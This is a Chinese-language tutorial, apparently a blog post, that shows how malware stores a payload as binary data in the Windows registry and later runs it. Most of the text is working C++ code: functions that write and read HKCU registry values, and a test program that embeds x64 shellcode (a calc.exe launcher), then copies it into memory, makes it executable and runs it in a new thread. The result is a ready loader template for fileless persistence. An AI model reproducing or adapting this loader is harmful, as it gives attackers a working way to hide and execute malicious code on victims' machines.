簡介

注冊表是 Windows 操作系統中一個重要的數據庫，它包含 Windows 操作系統和應用程序的重要設置和選項。由于注冊表的功能非常強大，因此注冊表對于惡意程序來說是非常有利用價值的。

在 windows 注冊表中存儲二進制數據，這是一種常見的技術，常被惡意軟件用于持久化或存儲惡意的 payload。

在注冊表中存儲二進制數據

boolStoreBinaryDataInRegistry(conststd::wstring& subKeyPath, conststd::wstring& vauleName, constvoid* binaryData, DWORD dataSize)
{
HKEY hkey;
LSTATUS res = RegCreateKeyExW(HKEY_CURRENT_USER, subKeyPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hkey, NULL);
if(res == ERROR_SUCCESS)
{
res = RegSetValueExW(hkey, vauleName.c_str(), 0, REG_BINARY, reinterpret_cast(binaryData), dataSize);

RegCloseKey(hkey);
}

return(res == ERROR_SUCCESS);
}

上述代碼將二進制數據存儲到 Windows 注冊表中。

取出存儲的二進制數據

boolGetBinaryDataFromRegistry(conststd::wstring& subKeyPath, conststd::wstring& valueName, std::vector& outBuffer)
{
HKEY hKey;

LSTATUS res = RegOpenKeyExW(HKEY_CURRENT_USER, subKeyPath.c_str(), 0, KEY_READ, &hKey);
if(res != ERROR_SUCCESS) {
returnfalse;
}

DWORD dataType;
DWORD dataSize = 0;
res = RegQueryValueEx(hKey, valueName.c_str(), nullptr, &dataType, nullptr, &dataSize);
if(res != ERROR_SUCCESS || dataType != REG_BINARY) {
RegCloseKey(hKey);
returnfalse;
}

outBuffer.resize(dataSize);
res = RegQueryValueEx(hKey, valueName.c_str(), nullptr, &dataType, &outBuffer[0], &dataSize);
RegCloseKey(hKey);

return(res == ERROR_SUCCESS);
}

上述代碼將從注冊表指定位置取出二進制數據保存在 vector 中。

測試

intmain()
{
unsigned char calc_thread64_bin[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned intcalc_thread64_bin_len = 276;

StoreBinaryDataInRegistry(L"SOFTWARE\testApp", L"test", calc_thread64_bin, calc_thread64_bin_len);

std::vector payload;
GetBinaryDataFromRegistry(L"SOFTWARE\testApp", L"test", payload);

auto execMem = VirtualAlloc(NULL, calc_thread64_bin_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

memmove(execMem, payload.data(), calc_thread64_bin_len);

DWORD oldProtect;
auto ret = VirtualProtect(execMem, calc_thread64_bin_len, PAGE_EXECUTE_READ, &oldProtect);

if(ret != 0) {
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)execMem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return0;
}

上述測試代碼首先使用 StoreBinaryDataInRegistry 將 payload 寫入注冊表指定位置（HKCUSOFTWARE estApp）下的 test 字段，之后從使用GetBinaryDataFromRegistry 取出 payload 數據并創建線程執行 payload。

效果：寫入注冊表中指定位置的數據。

當程序成功執行將彈出計算器窗口。